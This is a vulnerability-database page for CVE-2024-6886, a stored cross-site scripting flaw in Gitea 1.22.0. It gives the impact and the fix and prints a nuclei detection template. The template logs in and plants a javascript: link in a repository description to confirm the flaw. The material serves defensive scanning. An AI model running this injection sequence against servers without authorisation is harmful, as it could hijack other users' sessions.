HexBrain

Browse / CVEs / CVE-2024-6886

CVE-2024-6886· gitea / gitea· CWE-79

Gitea 1.22.0 - Cross-Site Scripting

mediumseverity
6.7CVSS score
33%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.

Impact

Authenticated attackers can inject malicious JavaScript into repository descriptions that executes in the context of other users' sessions when they view the repository.

Fix

Update Gitea to version 1.22.1 or later to address the stored XSS vulnerability.

How to confirm it

Send: POST /user/login ; GET / ; GET /{{username}} ; POST /repo/create
Positive when: contains in body_5 "<a href=\"javascript:alert(document.domain)\">XSS</a>" and "gitea" AND contains in header_5 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6886 -u <target>

The full check
id: CVE-2024-6886

info:
  name: Gitea 1.22.0 - Cross-Site Scripting
  author: soonghee2
  severity: medium
  description: |
    Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.
  impact: |
    Authenticated attackers can inject malicious JavaScript into repository descriptions that executes in the context of other users' sessions when they view the repository.
  remediation: |
    Update Gitea to version 1.22.1 or later to address the stored XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/52077
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6886
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L
    cvss-score: 6.7
    cve-id: CVE-2024-6886
    cwe-id: CWE-79
    epss-score: 0.32968
    epss-percentile: 0.98371
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: gitea
    product: gitea
  tags: cve,cve2024,gitea,xss,authenticated,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_name={{username}}&password={{password}}

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /{{username}} HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        repo_name={{randstr}}&description=<a%20href="javascript:alert(document.domain)">XSS</a>&_csrf={{csrf_token}}&uid={{uid_name}}

      - |
        GET /{{username}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_5
        words:
          - '<a href="javascript:alert(document.domain)">XSS</a>'
          - 'gitea'
        condition: and

      - type: word
        part: header_5
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - 'name="_csrf" value="([^"]+)"'
        internal: true

      - type: regex
        name: uid_name
        group: 1
        regex:
          - '"uid":\s*(\d+)'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from